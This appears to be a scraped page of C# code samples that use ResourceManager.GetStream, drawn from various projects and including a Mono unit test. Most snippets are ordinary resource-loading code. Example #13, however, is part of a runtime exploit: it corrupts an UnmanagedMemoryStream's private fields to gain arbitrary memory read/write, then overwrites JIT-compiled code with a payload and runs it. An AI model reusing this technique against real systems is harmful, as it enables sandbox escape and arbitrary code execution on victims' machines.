예제 #1
0
		internal static Cursor GetCursor(string path)
		{
			var a = Assembly.GetExecutingAssembly();
			var m = new ResourceManager(a.GetName().Name + ".g", a);
			using (Stream s = m.GetStream(path.ToLowerInvariant())) {
				return new Cursor(s);
			}
		}
예제 #2
0
 public static IFilePath GetFilePath()
 {
     return(new FilePathMap(new IFilePath[]
     {
         new HashFilePath(MinecraftPaths.AssetsObjects, MinecraftPaths.AssetsIndexes["1.14.json"]),
         new ZipFilePath(ResourceManager.GetStream("Vanilla"))
     }));
 }
예제 #3
0
파일: Page.xaml.cs 프로젝트: dfr0/moon
		private void cmdPlay_Click (object sender, RoutedEventArgs e)
		{
			ResourceManager rm = new ResourceManager ("MediaStreamSource.g", typeof (Page).Assembly);
			Stream stream = rm.GetStream ("miguel.mp3");

			Mp3Demuxer demuxer = new Mp3Demuxer (stream);
			mediaElement.SetSource (demuxer);
			mediaElement.Play ();
		}
 public void Initialize(Assembly assembly)
 {
     ImageComboBox.Items.Clear();
     try
     {
         if (assembly != null)
         {
             string[] resNames = assembly.GetManifestResourceNames();
             if (resNames != null)
             {
                 foreach (string resname in resNames)
                 {
                     ResourceManager rm = new ResourceManager(resname.Replace(".resources", ""), assembly);
                     // No delete next string !!!
                     Stream unreal = rm.GetStream(Application.Current.Host.Source.AbsoluteUri);
                     ResourceSet rs = rm.GetResourceSet(Thread.CurrentThread.CurrentUICulture, false, true);
                     if (rs != null)
                     {
                         IDictionaryEnumerator enumerator = rs.GetEnumerator();
                         while (enumerator.MoveNext())
                         {
                             if (enumerator.Key != null && enumerator.Value != null)
                             {
                                 if (enumerator.Key.ToString().Contains(".png"))
                                 {
                                     BitmapImage image = new BitmapImage();
                                     var stream = enumerator.Value as Stream;
                                     if (stream != null)
                                     {
                                         image.SetSource(stream);
                                     }
                                     ImageComboBox.Items.Add(new ImageItemControl(image, enumerator.Key.ToString()));
                                 }
                             }
                         }
                     }
                 }
             }
         }
     }
     catch
     {
     }
 }
 private static IEnumerable<string> AskUserToSelectFiles(IEnumerable<string> fileNamesToConvert)
 {
     var rm = new ResourceManager("ConvertAspxToRazorRecipe.g", typeof(Resources).Assembly);
     var filesToConvert = (from f in fileNamesToConvert select new FileToConvert { FullFileName = f, FileName = Path.GetFileName(f) }).ToList();
     var picker = new FilesPicker { DataContext = filesToConvert };
     var window = new Window
                      {
                          Content = picker,
                          SizeToContent = SizeToContent.Height,
                          Icon = BitmapFrame.Create(rm.GetStream("lambda3.ico", Resources.Culture)),
                          Width = 400,
                          Title = "Convert ASPX to Razor",
                          MinHeight = picker.MinHeight + 50,
                          MinWidth = picker.MinWidth + 50
                      };
     var result = window.ShowDialog();
     if (result != null && !result.Value)
         return new List<string>();
     var selectedFiles = (from f in filesToConvert where f.Checked select f.FullFileName).ToList();
     return selectedFiles;
 }
        public void InitializeImagesList(Assembly assembly)
        {
            ImagesList.IsWaiting = true;
            List<ImageDescriptor> list = new List<ImageDescriptor>();
            list.Add(ImageDescriptor.Empty);
            try
            {
                if (assembly != null)
                {
                    String asm = String.Empty;
                    if(!String.IsNullOrEmpty(assembly.FullName))
                    {
                        asm = assembly.FullName;
                        if (asm.IndexOf(",") > -1)
                        {
                            asm = asm.Substring(0, asm.IndexOf(","));
                        }
                    }
                    
                    string[] resNames = assembly.GetManifestResourceNames();
                    if (resNames != null)
                    {
                        foreach (string resname in resNames)
                        {
                            ResourceManager rm = new ResourceManager(resname.Replace(".resources", ""), assembly);
                            // No delete next string !!!
                            Stream unreal = rm.GetStream(Application.Current.Host.Source.AbsoluteUri);
                            ResourceSet rs = rm.GetResourceSet(Thread.CurrentThread.CurrentUICulture, false, true);
                            if (rs != null)
                            {
                                IDictionaryEnumerator enumerator = rs.GetEnumerator();
                                while (enumerator.MoveNext())
                                {
                                    if (enumerator.Key != null && enumerator.Value != null)
                                    {
                                        if (enumerator.Key.ToString().Contains(".png"))
                                        {
                                            BitmapImage image = new BitmapImage();

                                            String uri = UriResources.GetResourceString(asm, enumerator.Key.ToString());
                                            try
                                            {
                                                image.UriSource = new Uri(uri, UriKind.Relative);
                                            }
                                            catch { }
                                            /* через поток (но тогда Uri неизвестен)
                                            var stream = enumerator.Value as Stream;
                                            if (stream != null)
                                            {
                                                image.SetSource(stream);
                                            }*/
                                            list.Add(new ImageDescriptor(image, enumerator.Key.ToString(), uri));
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
            catch
            {
            }
            finally 
            {
                ImagesList.Initialize(list, list[0]);
                ImagesList.IsWaiting = false;
            }
        }
예제 #7
0
            private ResourceDictionary LoadDictionary(Assembly assembly, string assemblyName, string resourceName, bool isTraceEnabled)
            { 
                ResourceDictionary dictionary = null;

                // Create the resource manager that will load the byte array
                ResourceManager rm = new ResourceManager(assemblyName + ".g", assembly); 

                resourceName = resourceName + ".baml"; 
                // Load the resource stream 
                Stream stream = null;
                try 
                {
                    stream = rm.GetStream(resourceName, CultureInfo.CurrentUICulture);
                }
                // There is no ResourceManager.HasManifest in order to detect this case before an exception is thrown. 
                // Likewise, there is no way to know if loading a resource will fail prior to loading it.
                // So, the exceptions must be caught. stream will continue to be null and handled accordingly later. 
#pragma warning disable 6502 

                catch (MissingManifestResourceException) 
                {
                    // No usable resources in the assembly
                }
#if !DEBUG 
                catch (InvalidOperationException)
                { 
                    // Object not stored correctly 
                }
#endif 

#pragma warning restore 6502

                if (stream != null) 
                {
                    Baml2006ReaderSettings settings = new Baml2006ReaderSettings(); 
                    settings.OwnsStream = true; 
                    settings.LocalAssembly = assembly;
 
                    Baml2006Reader bamlReader = new Baml2006Reader(stream, new Baml2006SchemaContext(settings.LocalAssembly), settings);

                    System.Xaml.XamlObjectWriterSettings owSettings = XamlReader.CreateObjectWriterSettingsForBaml();
                    if (assembly != null) 
                    {
                        owSettings.AccessLevel = XamlAccessLevel.AssemblyAccessTo(assembly); 
                    } 
                    System.Xaml.XamlObjectWriter writer = new System.Xaml.XamlObjectWriter(bamlReader.SchemaContext, owSettings);
 
                    if (owSettings.AccessLevel != null)
                    {
                        XamlLoadPermission loadPermission = new XamlLoadPermission(owSettings.AccessLevel);
                        loadPermission.Assert(); 
                        try
                        { 
                            System.Xaml.XamlServices.Transform(bamlReader, writer); 
                        }
                        finally 
                        {
                            CodeAccessPermission.RevertAssert();
                        }
                    } 
                    else
                    { 
                        System.Xaml.XamlServices.Transform(bamlReader, writer); 
                    }
                    dictionary = (ResourceDictionary)writer.Result; 

                    if (isTraceEnabled && (dictionary != null))
                    {
                        EventTrace.EventProvider.TraceEvent(EventTrace.Event.WClientResourceBamlAssembly, 
                                                            EventTrace.Keyword.KeywordXamlBaml, EventTrace.Level.Verbose,
                                                            assemblyName); 
                    } 
                }
 
                return dictionary;
            }
예제 #8
0
		public void GetStream_Name_Null ()
		{
			ResourceManager rm = new ResourceManager (typeof (string));
			try {
				rm.GetStream ((string) null);
				Assert.Fail ("#A1");
			} catch (ArgumentNullException ex) {
				Assert.AreEqual (typeof (ArgumentNullException), ex.GetType (), "#A2");
				Assert.IsNull (ex.InnerException, "#A3");
				Assert.IsNotNull (ex.Message, "#A4");
				Assert.IsNotNull (ex.ParamName, "#A5");
				Assert.AreEqual ("name", ex.ParamName, "#A6");
			}

			try {
				rm.GetStream ((string) null, CultureInfo.InvariantCulture);
				Assert.Fail ("#A1");
			} catch (ArgumentNullException ex) {
				Assert.AreEqual (typeof (ArgumentNullException), ex.GetType (), "#A2");
				Assert.IsNull (ex.InnerException, "#A3");
				Assert.IsNotNull (ex.Message, "#A4");
				Assert.IsNotNull (ex.ParamName, "#A5");
				Assert.AreEqual ("name", ex.ParamName, "#A6");
			}
			rm.ReleaseAllResources ();
		}
예제 #9
0
파일: Application.cs 프로젝트: snorp/moon
		/*
		 * Resources take the following format:
		 * 	[/[AssemblyName;component/]]resourcename
		 * They will always be resolved in the following order:
		 * 	1. Application manifest resources
		 * 	2. XAP content
		 */
		public static StreamResourceInfo GetResourceStream (Uri uriResource)
		{
			if (uriResource == null)
				throw new ArgumentNullException ("uriResource");

			if (uriResource.IsAbsoluteUri && uriResource.Scheme != Uri.UriSchemeFile) {
				throw new ArgumentException ("Absolute uriResource");
			}

			// FIXME: URI must point to
			// - the application assembly (embedded resources)
			// - an assembly part of the application package (embedded resources)
			// - something included in the package

			Assembly assembly;
			string assembly_name;
			string resource;
			string loc = uriResource.ToString ();
			int p = loc.IndexOf (';');

			/* We have a resource of the format /assembly;component/resourcename */
			/* It looks like the / is optional tho.  *SIGH* */
			if (p > 0) {
				int l = loc [0] == '/' ? 1 : 0;
				assembly_name = loc.Substring (l, p - l);
				assembly = GetAssembly (assembly_name);
				if (assembly == null)
					return null;

				resource = loc.Substring (p + 11);
			} else {
				assembly = Deployment.Current.EntryAssembly;
				// Deployment.Current.EntryPointAssembly is not usable outside the main thread
				assembly_name = assembly.GetName ().Name;
				resource = loc;
			}

			resource = resource [0] == '/' ? resource : string.Format ("/{0}", resource);
			resource = Path.GetFullPath (resource);
			resource = resource [0] == '/' ? resource.Substring (1) : resource;

			try {
				var manager = new ResourceManager (assembly_name + ".g", assembly) { IgnoreCase = true };
				var stream = manager.GetStream (Uri.EscapeUriString (resource));
				if (stream != null)
					return new StreamResourceInfo (stream, string.Empty);
			} catch {}

			return GetXapResource (resource);
		}
예제 #10
0
파일: Localizer.cs 프로젝트: snakems/ShareX
        /// <summary>
        /// Returns localized stream resource
        /// </summary>
        /// <param name="resourceKey">Resource key</param>
        /// <param name="resourceManager">Resource manager</param>
        /// <param name="cultureInfo">Culture info</param>
        /// <returns>Localized stream resource</returns>
        public static Stream GetStream(string resourceKey, ResourceManager resourceManager, CultureInfo cultureInfo)
        {
            // check
            resourceKey = resourceKey ?? String.Empty;
            if (String.IsNullOrEmpty(resourceKey.Trim()))
            {
                throw new ArgumentNullException("resourceKey");
            }
            if (resourceManager == null)
            {
                throw new ArgumentNullException("resourceManager");
            }

            // trace
            if (_tracingEnabled)
            {
                Trace.WriteLine(String.Format("GetStream [ResourceKey:\"{0}\" ResourceManager:\"{1}\" CultureInfo:\"{2}\"]", resourceKey, resourceManager ?? (object)String.Empty, cultureInfo));
            }

            // get
            CultureInfo culture = cultureInfo != null ? cultureInfo : CurrentCulture;
            try
            {
                Stream res = resourceManager.GetStream(resourceKey, culture);
                return res;
            }
            catch (Exception ex)
            {
                throw new LocalizerException(ex.Message, ex);
            }
        }
예제 #11
0
        /// <summary>
        /// Obtains a list of all available resource sets. Resources must be marked as Resource when building project.
        /// </summary>
        /// <example>Resources/es300_R6D/AllItems.txt -> es300_R6D</example>
        /// <returns></returns>
        /// http://blogs.microsoft.co.il/blogs/alex_golesh/archive/2009/11/13/silverlight-tip-enumerating-embedded-resources.aspx
        private static List<string> GetResourceSetsSilverlight()
        {
            List<string> resourceNames = new List<string>();
            Assembly currentAssembly = Assembly.GetExecutingAssembly();
            string[] resources = currentAssembly.GetManifestResourceNames();

            foreach (var resource in resources)
            {
                ResourceManager rm = new ResourceManager(resource.Replace(".resources", ""), currentAssembly);
                rm.GetStream("app.xaml"); // can't seem to GetResourceSet without getting a stream -> see above link where code comes from
                ResourceSet rs = rm.GetResourceSet(Thread.CurrentThread.CurrentCulture, false, true);

                foreach (DictionaryEntry item in rs)
                {
                    string resourceName = (string)item.Key;

                    // "Resources/es300_R6D/AllItems.txt"
                    Regex regex = new Regex(@"^(?<root>[^/]+)/(?<set>[^/]+)/(?<file>.*)$");

                    if (regex.IsMatch(resourceName))
                    {
                        Match match = regex.Match(resourceName);

                        if (match.Groups["file"].Value.ToLower() == "allitems.txt")
                        {
                            resourceNames.Add(match.Groups["set"].Value);
                        }
                    }
                }

                if (resourceNames.Count > 0)
                {
                    return resourceNames;
                }
            }

            return resourceNames;
        }
예제 #12
0
		static void GetResourcesInternal()
		{
			AssemblyPartCollection parts = Deployment.Current.Parts;
			EntryPointAssembly = Deployment.Current.EntryPointAssembly;
			foreach (var part in parts)
			{
				Stream ss = Application.GetResourceStream(new Uri(part.Source, UriKind.Relative)).Stream;
				Assembly assy = part.Load(ss);
				string[] resources = assy.GetManifestResourceNames();

				foreach (var resource in resources)
				{
					ResourceManager rm = new ResourceManager(resource.Replace(".resources", ""), assy);
					Stream DUMMY = rm.GetStream("app.xaml"); //Donno why, but without getting any real stream next statement doesn't work....

					ResourceSet rs = rm.GetResourceSet(Thread.CurrentThread.CurrentUICulture, false, true);

					IDictionaryEnumerator enumerator = rs.GetEnumerator();
					while (enumerator.MoveNext())
					{
						string assembly = part.Source;
						int idx = assembly.LastIndexOf(".");
						assembly = assembly.Substring(0, idx);
						string path = string.Format("/{0};component/{1}", assembly, (string)enumerator.Key);
						Discovery.resources.Add(path);
					}

				}

			}
		}
예제 #13
0
            public override void Exec(int oldLen)
            {
                try {
                    // generate JIT-code for Payload()
                    Payload();

                    // create UnmanagedMemoryStream
                    ResourceManager rm = new ResourceManager("System.Windows.g", typeof(Control).Assembly);
                    ums = rm.GetStream("themes/generic.xaml");
                    LogAdd(ums);
                    if (ums == null) throw new Exception("Can't find themes/generic.xaml");

                    // save pointers within obj[] array after buf[]		
                    obj[0] = buf;
                    obj[1] = this;
                    obj[2] = ums;

                    // find obj[] array after buf[] 
                    ulong addr = 0; 
                    for (int i = 3; i < 64; i++)
                        if (buf[i] == (uint)bufAddr) {
                            addr = ((ulong)buf[i+3] << 32) + buf[i+2];				
                            umsAddr = ((ulong)buf[i+5] << 32) + buf[i+4]; 

                            // ensure that ums was allocated after buf[]
                            for (int j = 0; j < 100 && bufAddr > umsAddr; j++) {
                                ums = rm.GetStream("themes/generic.xaml");
                                obj[2] = ums;
                                umsAddr = ((ulong)buf[i+5] << 32) + buf[i+4]; 
                            }

                            break; 
                        }

                    if (addr == 0) throw new Exception("Can't find obj[]");
                    LogAdd("ums address = " + Hex(umsAddr));
                    if (bufAddr > umsAddr) throw new Exception("Can't allocate ums after buf[]");

                    //for (uint i = 0; i < 10; i++) LogAdd(Hex(Get(umsAddr+i*8))); // for RnD

                    // set ums._access private field to FileAccess.ReadWrite = 3
                    Set(umsAddr + 6*8, 0x300000003);
                    LogAdd("ums.Length = " + ums.Length + ", CanRead = " + ums.CanRead + ", CanWrite = " + ums.CanWrite + ", CanSeek = " + ums.CanSeek);
                    if (!ums.CanRead || !ums.CanWrite) throw new Exception("Can't access ums");

                    // ok, we have UnmanagedMemoryStream with controlable private fields, 
                    // so we can set any custom ums._mem pointer and read/write data starting from this pointer

                    // get (this.type + 72) -> (vtable + 16) -> Payload() address
                    bb = new byte[8];
                    addr = Read(Read(Read(addr) + 9*8) + 16);
                    //for (uint i = 0; i < 16; i++) LogAdd(Hex(Read(addr + i*8))); // for RnD
                    LogAdd("Payload() address = " + Hex(addr));
                    if (addr == 0) throw new Exception("Can't find Payload() address");

                    // copy payload over JIT-code memory
                    Exchange(addr, payload);

                    // exec payload
                    int res = Payload();

                    // restore JIT memory
                    //Exchange(addr, payload);

                    LogAdd("Payload() returns " + Hex(res));			
                }
                catch (Exception ex) {
                    LogAdd("Error: " + ex.ToString());
                }

                // restore buf[] length
                if (bb != null) {
                    Write(bufAddr + 8, (ulong)oldLen);
                    LogAdd("buf.Length = " + Hex(buf.Length));
                }
            }